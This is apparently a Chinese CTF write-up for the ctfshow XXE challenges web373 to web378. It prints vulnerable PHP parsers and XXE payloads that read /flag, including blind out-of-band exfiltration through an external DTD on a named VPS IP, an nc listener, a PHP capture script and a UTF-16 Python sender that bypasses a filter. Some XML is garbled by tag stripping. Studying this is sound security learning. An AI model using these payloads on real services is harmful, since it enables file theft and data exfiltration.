• ctfshow-XXE(web373-web378)


    目录

    XXE(外部实体注入攻击)

    web373

    web374

    web375

    web376

    web377

    web378

    知识点


    XXE(外部实体注入攻击)

    XXE这几关有个前提flag在根目录下文件名为flag

    web373

    1. error_reporting(0);
    2. libxml_disable_entity_loader(false);
    3. $xmlfile = file_get_contents('php://input');
    4. if(isset($xmlfile)){
    5. $dom = new DOMDocument();//该对象用于操作xml数据
    6. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//加载 XML 文件并进行解析
    7. $creds = simplexml_import_dom($dom);//换了一种方式
    8. $ctfshow = $creds->ctfshow;//将xmlctfshow标签里面的内容赋值个ctfshow这个变量
    9. echo $ctfshow;//输出这个值
    10. }
    11. highlight_file(__FILE__);

    这一看源码和我刚学习XXE看的那篇源码一样

    通过伪协议input获取post中的数据流 然后

    libxml_disable_entity_loader(false);启用 libxml 实体加载器功能,允许 XML 解析器加载外部实体

    LIBXML_NOENT 表示禁止实体扩展 xml自带实体比如< >不能使用 以及内部实体(大概率是)

    LIBXML_DTDLOAD 表示允许加载外部 DTD

    多了不说 既然有回显 那就简单了

    payload

    1. "1.0" encoding="utf-8"?>
    2. TZY [
    3. tzy SYSTEM "file:///flag">
    4. ]>
    5. <hello>
    6. <ctfshow>&tzy;ctfshow>
    7. hello>

    web374

    1. error_reporting(0);
    2. libxml_disable_entity_loader(false);
    3. $xmlfile = file_get_contents('php://input');
    4. if(isset($xmlfile)){
    5. $dom = new DOMDocument();
    6. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    7. }
    8. highlight_file(__FILE__);

    这就没有回显了(blind xxe) 可以使用外带数据通道提取数据

    没有回显记住口诀 xml获取dtd dtd中放base64读取文件和带数据 

    既然没有回显那就把数据带出来吧

    payload

    1. convert [
    2. remote SYSTEM "http://49.234.38.224/test.dtd">
    3. %remote;%int;%send;
    4. ]>

    vps test.dtd

    1. file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    2. int "">

    vps上nc -lvv 进行监听

    第一种方式

     vps test.dtd

    1. file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    2. int "">

    常见index.php文件 用于接受q参数

    1. $tzy = $_GET['q'];
    2. $myFile = "tzy.txt";
    3. file_put_contents($myFile, $tzy, FILE_APPEND);
    4. ?>

    这道题才是正规的一点没有报错 做的很爽

    使用web-4观心wp的不正规方式 试一下 根本就不行 因为数据包根本就没有返回报错信息 那个wp的方式恰巧报错信息等信息能返回 恰巧能输出flag 设置error_reporting(0);就不会返回报错信息了

    web375

    1. error_reporting(0);
    2. libxml_disable_entity_loader(false);
    3. $xmlfile = file_get_contents('php://input');
    4. if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    5. die('error');
    6. }
    7. if(isset($xmlfile)){
    8. $dom = new DOMDocument();
    9. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    10. }
    11. highlight_file(__FILE__);

    过滤了xml的证明 (我记得学习基础的时候说必须要写 但是做题的时候发现不需要写,就算必须写有两种方式绕过 双引号变成单引号,在xml和version多加一个空格 都是可以的)

    和上面题同理

    使用一个不同的方式吧(原理都是一个意思) 为什么要绕一圈呢,就是因为在请求的时候 默认不允许将本地文件发送到dtd文件 间接的影响了我们的请求 所以要套一层

    也就是说将dtd引过来之后首先解析第一层实体定义 内容为另一个实体定义 继续解析另一个实体定义 从而达到了发送请求 如果不这样套一层 直接放入xml 系统默认是不允许得,这也能解释为什么要用参数实体 因为调用dtd是在内部dtd中调用的 内部dtd只能使用参数实体的方式

    我是将读本地文件和请求vps都放到dtd中 xml只放引用dtd的

    很多都是请求vps的放入dtd中 xml中放读本地文件和引用dtd的

    payload

    1. hacker[
    2. file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    3. myurl SYSTEM "http://49.234.38.224/test.dtd">
    4. %myurl;
    5. ]>

    vps dtd文件

    1. dtd " ">
    2. %dtd;
    3. %vps;

    成功 之前是监听的请求中的参数 这次是监听请求的路径 一个意思都能监听到

    web376

    1. error_reporting(0);
    2. libxml_disable_entity_loader(false);
    3. $xmlfile = file_get_contents('php://input');
    4. if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
    5. die('error');
    6. }
    7. if(isset($xmlfile)){
    8. $dom = new DOMDocument();
    9. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    10. }
    11. highlight_file(__FILE__);

    比上一题多一个/i大小写 没区别 同理

    web377

    1. error_reporting(0);
    2. libxml_disable_entity_loader(false);
    3. $xmlfile = file_get_contents('php://input');
    4. if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    5. die('error');
    6. }
    7. if(isset($xmlfile)){
    8. $dom = new DOMDocument();
    9. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    10. }
    11. highlight_file(__FILE__);

    过滤了http 看别人的wp说是使用utf-16编码就能绕过 我就手动将payload(和上一题一样的)进行utf-16就是不行 必须使用python发包 发包前进行utf-16编码 而且就算用python进行utf-16编码 手动发送也不行 必须也要让python发包 才可以(我估计是啥 如果进行特定编码方式 然后发包 估计还有增加请求头 类似这种 python发包可以自动补全)

    能编码简单理解就是(我的理解)input获取到数据后 先绕过正则 然后在操作xml的时候这个对象就能识别出是xml 因为xml支持utf-16 这时哪怕在xml声明编码方式为utf-8这也无所谓  这声明的只是xml内容为utf-8 但是整体过来是utf-16 这个对象是能识别出来的 然后看到这个声明为utf-8后再将内容设为utf-8的编码方式 

    其余同理

    python代码为

    1. import requests
    2. url = 'http://fdccab41-0e0d-48fa-89af-21ce8bffa466.challenge.ctf.show/'
    3. payload = '''
    4. %myurl;
    5. ]>
    6. '''
    7. payload = payload.encode('utf-16')
    8. rep = requests.post(url=url, data=payload)

    web378

    通过这个数据就知道这是xml数据 服务器后端肯定会使用xml解析这个数据

    源码中也能看出来

    1. function doLogin(){
    2. //不为空就行
    3. var username = $("#username").val();
    4. var password = $("#password").val();
    5. if(username == "" || password == ""){
    6. alert("Please enter the username and password!");
    7. return;
    8. }
    9. //定义一下数据
    10. var data = "" + username + "" + password + "";
    11. 使用异步发送请求
    12. $.ajax({
    13. type: "POST",
    14. url: "doLogin",
    15. contentType: "application/xml;charset=utf-8",//告诉服务器我的数据类型
    16. data: data,
    17. dataType: "xml",//接收的数据类型为
    18. anysc: false,
    19. success: function (result) {
    20. 从返回的 XML 数据中获取名为 "code" 的元素的值。
    21. var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
    22. var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
    23. if(code == "0"){
    24. $(".msg").text(msg + " login fail!");
    25. //如果code为1显示登录成功
    26. }else if(code == "1"){
    27. $(".msg").text(msg + " login success!");
    28. }else{
    29. $(".msg").text("error:" + msg);
    30. }
    31. },
    32. //在 AJAX 请求失败时执行 当发生错误时,会在页面上显示 errorThrown + ':' + textStatus,即显示异常信息和错误状态描述
    33. error: function (XMLHttpRequest,textStatus,errorThrown) {
    34. $(".msg").text(errorThrown + ':' + textStatus);
    35. }
    36. });
    37. }

     contentType: "application/xml;charset=utf-8",//告诉服务器我的数据类型

    X-Requested-With: XMLHttpRequest 这是告诉服务器我是ajax进行异步通信 数据可能是xml也可能是json(这俩大概率) 都有可能

    发送的是xml数据 回来的也是xml数据(其实回来的不用管)服务器肯定是解析xml

    传入paylaod

    我想使用这种方法 但是不好使 估计是在服务器设置了不允许进行使用外部DTD

    1. convert [
    2. remote SYSTEM "http://49.234.38.224/test.dtd">
    3. %remote;%int;%send;
    4. ]>
    1. file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    2. int "">

    好好观察一下源码发现$(".msg").text(msg + " login fail!");

    随便登录一下 账户名admin 密码123456 显示 admin login fail 这个msg就是用户名

    这个msg是从服务器返回的xml数据中提取的 那么服务器的msg肯定是从我们上传的xml中提取的

    那么直接就能将&xxe输出也就是flag的内容 我看大佬说这是特别标准的xxe估计这种很常见

    1. test [
    2. xxe SYSTEM "file:///flag">
    3. ]>
    4. <user><username>&xxe;username>user>

    知识点

    为什么是外部实体注入 为什么要引入外部呢 也是我之前迷茫的地方

    举个例子 比如

    1. xml文件
    2. hacker[
    3. file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    4. myurl SYSTEM "http://49.234.38.224/test.dtd">
    5. %myurl;
    6. ]>
    7. dtd文件
    8. dtd " ">
    9. %dtd;
    10. %vps;

    直接写成 不也行嘛

    1. xml文件
    2. hacker[
    3. file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    4. vps SYSTEM 'http://49.234.38.224:9999/%file;'> ">
    5. %vps;
    6. ]>

    这里注意参数实体引用%file;必须放在外部文件里,因为根据这条 规则 。在内部DTD里,参数实体引用只能和元素同级而不能直接出现在元素声明内部 (必须是双层嵌套哦)

    如果放在外部%myurl引用dtd文件 %dtd引用另一个实体引用 %vps再引用我们的请求 这样是可以的 虽然最终也是在内部dtd中 但是两者就是不一样

    还有一点就是在声明的内部中%要进行实体编码 因为%这种不符合xml的符号必须要进行实体编码 

    也就是说%dtd 不允许有和xml冲突的字符在值里面

  • 相关阅读:
    虚拟列表(附带动态加载)原理及实现
    CycloneDDS配置详细说明中文版(四)
    RS485通讯方式-详解
    探索 ArrayList 原理 - 目录结构
    想裁剪视频时长,用电脑怎么裁剪视频时长
    ts中的元组是什么有什么用
    人工智能热潮推动光芯片与光器件需求飙升
    北理工嵩天Python语言程序设计笔记(10 Python计算生态概览)
    ceph-ansible安装指南-centos8安装ceph- pacific
    初识生成对抗网络(11)——利用Pytorch搭建WGAN生成手写数字
  • 原文地址:https://blog.csdn.net/m0_72125469/article/details/136622402